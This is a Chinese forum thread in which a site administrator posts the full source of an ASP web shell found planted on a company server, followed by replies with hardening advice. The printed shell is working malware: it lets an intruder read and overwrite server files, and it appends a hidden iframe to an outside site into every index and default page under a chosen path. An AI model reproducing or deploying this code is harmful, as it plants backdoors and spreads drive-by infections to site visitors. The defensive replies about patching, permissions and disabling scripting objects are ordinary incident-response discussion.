公司网站内容被撰改!把网站文件拷下一看,冷汗!
公司网站内容被撰改,开始怀疑是 SQL驻入,但是刚把网站文件一搜索。汗!
里面目录下有个
\aspnet_client\system_web\1_0_2914_16\newup.asp
打开一看:好毒啊!不知道是谁放进来!!
<%Server.ScriptTimeout=10000
Response.Buffer=False
%>
<html>
<head>
<title> By S.D.I-E路 </title>
S.D.I--核心专用 shell
</head>
<body>
<%
ASP_SELF=Request.ServerVariables( "PATH_INFO ")
s=Request( "fd ")
ex=Request( "ex ")
pth=Request( "pth ")
newcnt=Request( "newcnt ")
If ex <> " " AND pth <> " " Then
select Case ex
Case "edit "
CALL file_show(pth)
Case "save "
CALL file_save(pth)
End select
Else
%>
<form action= " <%=ASP_SELF%> " method= "POST ">
输入要挂马的路径:
<input type= "text " name= "fd " size= "40 ">
<input type= "submit " value= "开始 ">
</form>
<%End If%>
<%
Function IsPattern(patt,str)
Set regEx=New RegExp
regEx.Pattern=patt
regEx.IgnoreCase=True
retVal=regEx.Test(str)
Set regEx=Nothing
If retVal=True Then
IsPattern=True
Else
IsPattern=False
End If
End Function
If IsPattern( "[^ab]{1}:{1}(\\|\/) ",s) Then
sch s
Else
If s <> " " Then Response.Write "Invalid Agrument! "
End If
Sub sch(s)
oN eRrOr rEsUmE nExT
Set fs=Server.createObject( "Scripting.FileSystemObject ")
Set fd=fs.GetFolder(s)
Set fi=fd.Files
Set sf=fd.SubFolders
For Each f in fi
rtn=f.Path
step_all rtn
Next
If sf.Count <> 0 Then
For Each l In sf
sch l
Next
End If
End Sub
Sub step_all(agr)
retVal=IsPattern( "(\\|\/)(default|index)\.(htm|html|asp|php)\b ",agr)
If retVal Then
step1 agr
step2 agr
Else
Exit Sub
End If
End Sub
%>
<%Sub step1(str1)%>
<a href= " <%=ASP_SELF%> ?ex=edit&pth= <%=str1%> " target= "_blank "> <%=str1%> </a> <br>
<%End Sub%>
<%
Sub step2(str2)
addcode= " <iframe src=http://www.00sj.com width=0 height=0 frameborder=0> </iframe> "
Set fs=Server.createObject( "Scripting.FileSystemObject ")
isExist=fs.FileExists(str2)
If isExist Then
Set f=fs.GetFile(str2)
Set f_addcode=f.OpenAsTextStream(8,-2)
f_addcode.Write addcode
f_addcode.Close
Set f=Nothing
End If
Set fs=Nothing
End Sub
%>
<%
Sub file_show(fname)
Set fs1=Server.createObject( "Scripting.FileSystemObject ")
isExist=fs1.FileExists(fname)
If isExist Then
Set fcnt=fs1.OpenTextFile(fname)
cnt=fcnt.ReadAll
fcnt.Close
Set fs1=Nothing%>
FILE: <%=fname%>
<form action= " <%=ASP_SELF%> " method= "POST ">
<textarea name= "newcnt " cols= "100 " rows= "30 "> <%=cnt%> </textarea>
<input type= "hidden " name= "pth " value= " <%=fname%> ">
<input type= "hidden " name= "ex " value= "save ">
<input type= "submit " value= "SAVE ">
</form>
<%Else%>
<p> 文件不存在. </p>
<%
End If
End Sub
%>
<%
Sub file_save(fname)
Set fs2=Server.createObject( "Scripting.FileSystemObject ")
Set newf=fs2.createTextFile(fname,True)
newf.Write newcnt
newf.Close
Set fs2=Nothing
Response.Write " <p> 文件保存成功. </p> "
End Sub
%>
</body>
</html>
[解决办法]
估计是被黑客攻进的,特别是addcode= " <iframe src=http://www.00sj.com width=0 height=0 frameborder=0> </iframe> "
[解决办法]
有3方面需要处理
1.服务器安全设置,补丁更新
2.ASP程序检查,修补漏洞
3.SQL安全设置
以前我也处理过这样类似的服务器,简单的。
需要帮忙的话,QQ;275171
[解决办法]
www.bink.com.cn
去我站上把我才写的那套程序拉下来再检测下有没有其他问题...
[解决办法]
如果核心不是你开发的,可以怀疑一下以前的人。
我汗你们公司一个
[解决办法]
上传木马的方法太多了
如果是sql server,cmdshell关了吗?
[解决办法]
这个问题,我遇到过。
是网站漏洞
[解决办法]
先搞定服务器的安全设置,补丁。防火墙,防病毒。。。入侵检测。。。
再搞定SQL,关CMDSHELL ,再另开SQL用户(不要用SA),等。
再搞定ASP,。
如果是共用的服务器。。。。,你管理的就用以上的方法吧,如果是专用的服务器,关了上传的。
只开80端口,
。。。。。。。。。。。。。
[解决办法]
第一:关掉你的共享, net share /del
第二:重装系统最好用 windows 2003 企业版
第三:设计网站的权限,不要用Guest
第四:设计相关文件夹的权限,除了像Upfile之类的文件夹加 写 权限
第五:勤更新系统,装个查毒就可以了
天下无敌了。。。。。。。。。。。。。。。。。。。
[解决办法]
我以前遇见的问题
老是被别人嵌入 <iframe src= "www.waigua9999.com ">
烦都烦死了
就是不知道怎么解决,可能也有朋友遇见过了的
接帖学习
[解决办法]
想知道那里来的得查日志,
按照我的经验,一般都是SQL注入,或者上传漏洞导致的。
[解决办法]
亲身经历过,下面是处理方法,到现在有半年多没有再出现过异常!
asp木马上传方法分析
asp木马病毒,可能是根据新闻论坛等程序中的文件上传功能产生的!
----------------------------------------
解决思路:
在注册表HKEY_CLASSES_ROOT中找到 "shell.application "、 "Wscript.SHELL "、“Wscript.NETWORK”
等危险的脚本对象(因为它们都是用于创建脚本命令通道的)进行改名或删除,也就是限制系统对
“脚本SHELL”的创建,ASP木马也就成为无本之木、无米之炊,运行不起来了。
----------------------------------------
操作步骤:
1、备份注册表,备份硬盘重要的文件到本地
2、在注册表中分别查找以上名字 "shell.application "、 "Wscript.SHELL "、“Wscript.NETWORK”、
“scripting.FileSystemObject”,将所有的都删除掉!
3、重新启动IIS
4、使用木马分析专家全盘杀毒
5、对系统中ftp等密码修改
6、对系统超级用户名称密码进行修改,只保留超级用户和默认的用户
7、对在网站上数据库密码进行修改
8、对asp、asp.net连接字符修改加密, asp中的使用DNS连接,asp.net中的加密!
9、清理网站无关紧要内容